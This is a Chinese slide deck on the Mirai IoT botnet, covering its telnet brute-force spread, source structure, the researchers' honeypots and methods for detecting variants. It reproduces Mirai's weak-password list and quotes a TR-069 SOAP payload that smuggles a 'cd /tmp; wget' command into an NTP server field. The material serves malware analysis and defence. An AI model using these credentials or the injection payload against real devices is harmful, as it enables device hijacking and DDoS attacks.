您好,欢迎访问三七文档
NOTE-mirai2018-01-29IOT僵尸网络严重威胁网络基础设施安全•典型的IoT-DDoS僵尸网络包括2013年出现的CCTV系列,肉鸡MM系列(chickenMM,数字系列10771、10991、25000、36000),BillGates,Mayday,PNScan,gafgyt等众多基于Linux的跨平台DDoS僵尸网络家族名称变种数量样本HASH数量Trojan[DDoS]/Linux.Mirai2大于100Trojan[DDoS]/Linux.Xarcen5大于1000Trojan[DDoS]/Linux.Znaich3大于500Trojan/Linux.PNScan2大于50Trojan[Backdoor]/Linux.Mayday11大于1000Trojan[DDoS]/Linux.DnsAmp5大于500Trojan[Backdoor]/Linux.Ganiw5大于3000Trojan[Backdoor]/Linux.Dofloo5大于2000Trojan[Backdoor]/Linux.Gafgyt28大于8000Trojan[Backdoor]/Linux.Tsunami71大于1000Worm/Linux.Moose1大于10Worm[Net]/Linux.Darlloz3大于10IOT僵尸网络严重威胁网络基础设施安全•Mirai等针对物联网设备DDoS入侵主要通过telnet端口进行流行密码档的暴力破解,或默认密码登陆,如果通过Telnet登陆成功,就尝试利用busybox等嵌入式必备的工具进行wget下载DDoS功能的bot,修改可执行属性,运行控制物联网设备。由于CPU指令架构的不同,在判断出系统架构后,一些僵尸网络可以选择MIPS、ARM,x86等架构的样本进行下载,运行后接收相关攻击指令进行攻击。弱密码示例如下:rootadminuserloginguestsupportoraclenetmanoperatorAdministratorciscotelnetdevicetechnetgeartoororaclenetgear1changemevizxv7ujMko0vizxvjuantechrealtekxmhdipchi3518Zte521zlxxsupervisorsmcadminsystemdreamboxmeinsmubntklv123ankoxc35111234maxided12345123456defaultpassvagrantklv1234jvbzd7ujMko0adminikwbpassowrdIOT僵尸网络严重威胁网络基础设施安全•DVR,网络摄像头,智能路由器产品中部分存在弱密码的品牌IOT僵尸网络严重威胁网络基础设施安全•Mirai源码目录结构分析IOT僵尸网络严重威胁网络基础设施安全•Mirai源码主要包括两部分:•1)loader:加载器,其中存放了针对各个平台编译后的可执行文件,用于加载Mirai的实际攻击程序•2)Mirai:用于实施攻击的程序,分为bot(被控制端,使用C语言编写)和cnc(控制端,使用Go语言编写)两部分•被控制端具有以下模块:模块文件名模块作用attack.c用于攻击的模块,所调用的攻击子模块在其他attack_xxx.c中定义checksum.c用于计算校验码的模块killer.c用于结束进程的模块main.c用于调用其他子模块的主模块rand.c用于生成随机数的模块resolv.c用于解析域名的模块scanner.c用于扫描的模块,可以扫描网络上可被攻击(如使用弱口令的设备)table.c用于存放经过加密的域名数据的模块util.c用于提供一些使用工具的模块IOT僵尸网络严重威胁网络基础设施安全•2014年之前使用Linux系统的IoT设备被植入恶意代码的方式主要是通过扫描弱密码,但在破壳漏洞(CVE-2014-6271)出现后,互联网上出现了大量利用该漏洞进行扫描并植入恶意代码的事件,针对Linux主机入侵的事件呈现全面上升的趋势。•IoT僵尸网络的快速蔓延来自如下因素的组合:•1、随着小到智能家居、大到智慧城市的物联网蓬勃发展,在线IoT设备数量大幅增加;•2、随着作为主流桌面操作系统的Windows的内存安全(如DEP、ASLR、SEHOP)等方面的能力不断强化,依托远程开放端口击穿Windows变得日趋困难,但对于普遍没有经过严格的安全设计的IoT设备的远程注入的成功率则高的多。•3、IoT设备自身多数未嵌入安全机制,同时其又多半不在传统的IT网络之内,等于游离于安全感知能力之外,一旦遇到问题有的也不能有效响应。•4、IoT设备往往更多24小时在线,是比桌面Windows更“稳定”的攻击源。Miraibotnet的演进•开放数据之Miraiscanner••开放数据之MiraiC2与指令•的演进•Mirai传播方式之Telnet•包括TCP端口23和2323•最早发现、仍在活跃的传播区间(infectionvector)Miraibotnet的演进•我们的Telnet蜜罐•我们基于hontel开发了一个定制的Telnet蜜罐Hontel:基于Linuxchroot机制、使用Python开发的开源蜜罐•我们做了如下改进:Bugfixing•Hookingshellcommandtopreventsamplerunning•SimulatingIoTdevices(e.g.,settingupfake/proc/cpuinfo)•URL文件名枚举mirai.x86,mirai.arm,mirai.m68k,mirai.mips,mirai.mpsl,…Miraibotnet的演进•针对tr-069/064的私有蜜罐•2016/11,出现了针对TCP7547/5555端口的扫描•?xmlversion=1.0?SOAP-ENV:Envelopexmlns:SOAP-ENV=:encodingStyle=:Bodyu:SetNTPServersxmlns:u=urn:dslforum-org:service:Time:1•NewNTPServer1`cd/tmp;wget`/NewNTPServer1NewNTPServer2/NewNTPServer2NewNTPServer3/NewNTPServer3/u:SetNTPServers/SOAP-ENV:Body/SOAP-ENV:Envelope“•我们基于Python的bottle和paste库开发了一个基于HTTP的蜜罐关键在于接受HTTPPOST请求,解析NewNTPServer1tag内的内容•–关键在于接受HTTPPOST请求,解析NewNTPServer1tag内的内容Miraibotnet的演进•如何检测Mirai变种?•检测变种的维度:•变种意味着功能的变化,最终体现在代码上通常在2进制层面进行检测•对于botnet,常常围绕C2来划分家族、追踪变种•C2协议:消息格式和交互方式•C2配置信息的格式和存储方式•对于DDoS类型的botnet,攻击类型和具体攻击方式的变化也是划分变种的重要维度Miraibotnet的演进•如何检测Mirai变种?•我们的检测维度•攻击类型•syn_flood/http_flood/…•配置信息•扫描端口•最初的Mirai只扫描23/2323端口•暴力破解用到的用户名和口令Miraibotnet的演进•如何检测Mirai变种?•-基于攻击类型检测变种•attack_init函数的几个特点•支持11种攻击类型只用了10种•每种攻击类型分配了一个0~10之间的指令码•二进制的attack_init及其特征•只有单个的指令块•多数情况下,add_attack会被优化,•-callocandrealloc•calloc的参数固定为1和8•-对于M68Kcpu为1和6•攻击方法及其指令码存放在calloced的缓冲中•位移分别是1和4Miraibotnet的演进•如何检测Mirai变种?•-基于配置信息检测变种•关于Mirai的配置信息•这里的配置信息包括:•-C2/reportservers•-扫描和攻击参数•-其它运行时参数•Mirai配置信息做了加密处理,只有用到时才解密•密文的初始化在一个名为table_init的函数中完成•2进制的table_init函数及其特征•只包含单一的大语句块•-通常多于500条指令•多数情况下add_entry被内联(inline)优化,只看到malloc和util_memcpy•密文的地址和大小作为参数2/3传给util_memcpy•配置信息和变种•不同样本的配置信息差别较大:•条目不同•内容不同•这种差别通常意味着变种的存在•通过简单的聚类技术即可快速关联同种变种的样本Miraibotnet的演进•如何检测Mirai变种?•-基于扫描行为检测变种•Mirai的扫描模块•Mirai使用了自定义的算法来生成扫描的SYN包•缺省扫描23/2323端口•同时安装一批用户名和口令用于后续的telnet暴力破解•缺省安装了62对用户名和口令•上述工作在一个名为scanner_init的函数中完成•由一个fork()出来的进程单独执行•Thescanner_initfunction•扫描端口硬编码•左图中为0x17•用户名和口令调用add_auth_entry初始化到内存中•反复调用•变种2:扫描7547端口Miraibotnet的演进•典型变种分析•-DGA变种•出现于去年11月下旬,能通过TCP7547传播•“NowMiraiHasDGAFeatureBuiltin”•“NewMiraiDGASeed0x91BruteForced”•在C2方面具有较强的冗余性考虑•除了DGA,后续又出现了采用IPGA和硬编码C2IP的方式•部分样本使用了非8.8.8.8的DNSresolver•样本本身包含了exploit,不同于缺省的Mirai传播方式•更类似于更早的gafgytMiraibotnet的演进•典型变种分析•-一个支持多种伪HTTPagent的变种•缺省的9个伪HTTPagent•Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/51.0.2704.103Safari/537.36•Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/51.0.2704.103Safari/537.36•Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/52.0.2743.116Safari/537.36•Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/52.0.2743.116Safari/537.36•Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/51.0.2704.103
本文标题:Mirai僵尸网络
链接地址:https://www.777doc.com/doc-5098565 .html